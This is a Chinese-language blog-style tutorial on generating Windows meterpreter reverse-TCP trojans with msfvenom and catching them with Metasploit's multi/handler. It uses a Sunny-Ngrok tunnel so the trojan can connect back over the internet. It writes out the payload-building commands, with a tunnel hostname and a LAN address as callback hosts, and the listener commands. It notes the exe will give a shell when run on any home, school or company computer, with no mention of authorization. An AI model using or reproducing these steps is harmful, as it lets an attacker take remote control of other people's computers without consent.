msf一般都是指metasploit-framework；毕竟只有metasploit-framework这个版本是免费的。
一、metasploit-framework 外网渗透（msf外网渗透）
首先要内网穿透，本人使用的是Sunny-Ngrok服务 。你在Sunny-Ngrok官网注册好后获得一条免费或付费的隧道，添加tcp通道，端口号自定，例如：2020，ip填：127.0.0.1；
在Kali linux虚拟机这个系统下，首先下载Sunny-Ngrok的客户端，然后，在命令行内启动Sunny-Ngrok，命令如下：
./sunny clientid 隧道id（如果提示权限不够 chmod a+x natapp ）
启动成功后可以看到类似下面这样的图片：
1、开始生成外网木马
root@kali:~# msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse_tcp LHOST=vipgz2.idcfengye.com LPORT=10077 -f exe -o /root/5201314Y.exe
注意：
-a x64位，一定要对应-p x64位。
简单点来说，生成的exe是64位的，最好是只在64位的电脑上去运行。
千万不要把生成32位的exe放到64位的电脑上去运行，那样会造成失败或内存、CPU很高的情况。
2、监听
依次输入下面的命令
msf5> use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 127.0.0.1
msf5 exploit(multi/handler) > set lport 8087
msf5 exploit(multi/handler) > exploit
3、运行exe
随意在任意一台能上网的电脑上运行生成的 5201314Y.exe，不管是家里的电脑，还是学校、公司的电脑，都会反弹成功，如果出来meterpreter即表示成功！msf查看如下图：
二、metasploit-framework 外网渗透（msf内网渗透）
msf内网渗透就更加简单了，我们一般msf本地测试的，也就是所谓的本地局域网，其实就是一个小型内网。例如：个人家里。具体步骤如下：
1、生成一个内网木马
root@kali:~# msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.188 LPORT=888 -f exe -o /root/xj.exe
2、监听
正确启动 msfconsole
依次输入下面的命令
msf5> use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.188
msf5 exploit(multi/handler) > set lport 888
msf5 exploit(multi/handler) > exploit
3、运行exe
注意：
由于msf外网渗透和msf内网渗透原理都是相同的，内网渗透这里我就不详细说了，只要稍微有基础的，大家看了就能明白，就会操作了。
